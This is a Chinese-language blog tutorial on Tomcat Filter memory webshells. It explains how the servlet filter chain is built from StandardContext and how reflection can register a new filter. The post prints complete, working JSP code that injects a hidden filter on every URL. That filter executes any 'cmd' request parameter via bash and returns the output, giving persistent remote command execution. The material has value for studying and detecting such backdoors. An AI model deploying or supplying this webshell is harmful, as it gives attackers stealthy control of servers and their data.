Filter是一个可以复用的代码片段,可以用来转换HTTP请求、响应和头信息。Filter无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改。

一个 servlet 的 filter 大概长这样

import javax.servlet.*;
import java.io.IOException;

public class filterDemo implements Filter {

    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest, servletResponse);
    }
    public void destroy() {}
}

应用 Filter 的 web.xml

    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>filterDemo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/demo</url-pattern>
    </filter-mapping>
  • 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
  • 每一次请求时都只调用方法doFilter()进行处理;
  • 停止服务器时调用destroy()方法,销毁实例。

现在的前提条件是我们能自由传一个 jsp,那么要做的就是怎样在这个 jsp 中写一个命令执行的 Filter 并把它插入到服务原本的 filter 中,这里的实现思路是模拟写一个 web.xml。

  • Filter 原理:


    在 filter 中打一个断点,跟一下函数调用栈,
    image-20220209153521968
    filterConfig 是从 filters 里挨个拿出来的,往前找 filters
    image-20220209154639766
    用到的是 filterChain 中的 filters,再确定一下这个 filterChain 如何被构建的
    image-20220209154835449
    跟进去,先用 getParent 拿到了 context(即当前访问的web程序)
    image-20220209155223906
    然后在 findFilterMaps 中拿到了映射关系
    image-20220209155513299
    循环遍历 FilterMap,如果找到一个映射和我们访问的 context 对应(这里是/demo),就会这个映射对应的 filter 初始化,加进 filters 中
    image-20220209160109874
    可见,filter 最开始是从 context 中拿到的,那下一步就是考虑怎么拿这个 context
    • 能直接获取 request 的时候,将 ServletContext 转为 StandardContext 从而获取 context
    • 从线程中获取StandardContext
    • 从MBean中获取
  • 将 ServletContext 转为 StandardContext:


    看一先 context 中与 filter 相关的东西:
    image-20220209185451385
    需要知道的几个区分:
    FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
    
    filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
    
    filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
    

    这里要用到 StandardContext 中的几个重要函数
    • StandardContext.addFilterDef()可以将 filterDef 加进 filterDefs 中
    • StandardContext.addFilterMapBefore()把 filtermap 添加到 FilterMaps 的第一个位置

    其中的参数可以通过反射修改。
    综上,就有了写 Filter 内存马的大致流程:
    1. 一个恶意 Filter
    2. 用 filterDef 封装它
    3. 把这个 filterDef 添加到 filterDefs 中(StandardContext.addFilterDef())
    4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中

    分段看一下代码,初始化,首先判断 filter 名字是否存在,不存在就注入
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    

    首先判断 filter 名字是否存在,不存在就注入
    if (filterConfigs.get(name) == null){
                // 创建恶意 Filter
            Filter filter = new Filter() {
                @Override
                public void init(FilterConfig filterConfig) throws ServletException {
                }
    
                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    if (req.getParameter("cmd") != null){
                        byte[] bytes = new byte[1024];
                        Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                        int len = process.getInputStream().read(bytes);
                        servletResponse.getWriter().write(new String(bytes,0,len));
                        process.destroy();
                        return;
                    }
                    filterChain.doFilter(servletRequest,servletResponse);
                }
    
                @Override
                public void destroy() {
    
                }
    
            };
    

    创建一个 FilterDef 并设置属性,相当于
        <filter>
            <filter-name>filterDemo</filter-name>
            <filter-class>filterDemo</filter-class>
        </filter>
    

    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    

    用 addFilterDef 将 filterDef 添加到 filterDefs 中
    standardContext.addFilterDef(filterDef);
    

    创建一个 filtermap,并设置对应的 urilpattern,相当于
        <filter-mapping>
            <filter-name>filterDemo</filter-name>
            <url-pattern>/demo</url-pattern>
        </filter-mapping>
    

    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    // 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
    

    创建 FilterConfig,传入 filterDef 和 standardCtf(拿到的 Context)
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    

    最后的马(来自木头师傅)
    <%@ page import="org.apache.catalina.core.ApplicationContext" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="java.util.Map" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
    <%@ page import="java.lang.reflect.Constructor" %>
    <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
    <%@ page import="org.apache.catalina.Context" %>
    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
    
    <%
        final String name = "KpLi0rn";
        ServletContext servletContext = request.getSession().getServletContext();
    
        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    
        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    
        Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(standardContext);
    
        if (filterConfigs.get(name) == null){
            Filter filter = new Filter() {
                @Override
                public void init(FilterConfig filterConfig) throws ServletException {
    
                }
    
                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    if (req.getParameter("cmd") != null){
                        byte[] bytes = new byte[1024];
                        Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                        int len = process.getInputStream().read(bytes);
                        servletResponse.getWriter().write(new String(bytes,0,len));
                        process.destroy();
                        return;
                    }
                    filterChain.doFilter(servletRequest,servletResponse);
                }
    
                @Override
                public void destroy() {
    
                }
    
            };
    
    
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(filter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);
    
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/*");
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
    
            standardContext.addFilterMapBefore(filterMap);
    
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    
            filterConfigs.put(name,filterConfig);
            out.print("Inject Success !");
        }
    %>
    
  • 从线程中获取StandardContext(待补充)


    目的是找 Tomcat 中全局存储的 request 或 response
     

参考文献:

标签: none

添加新评论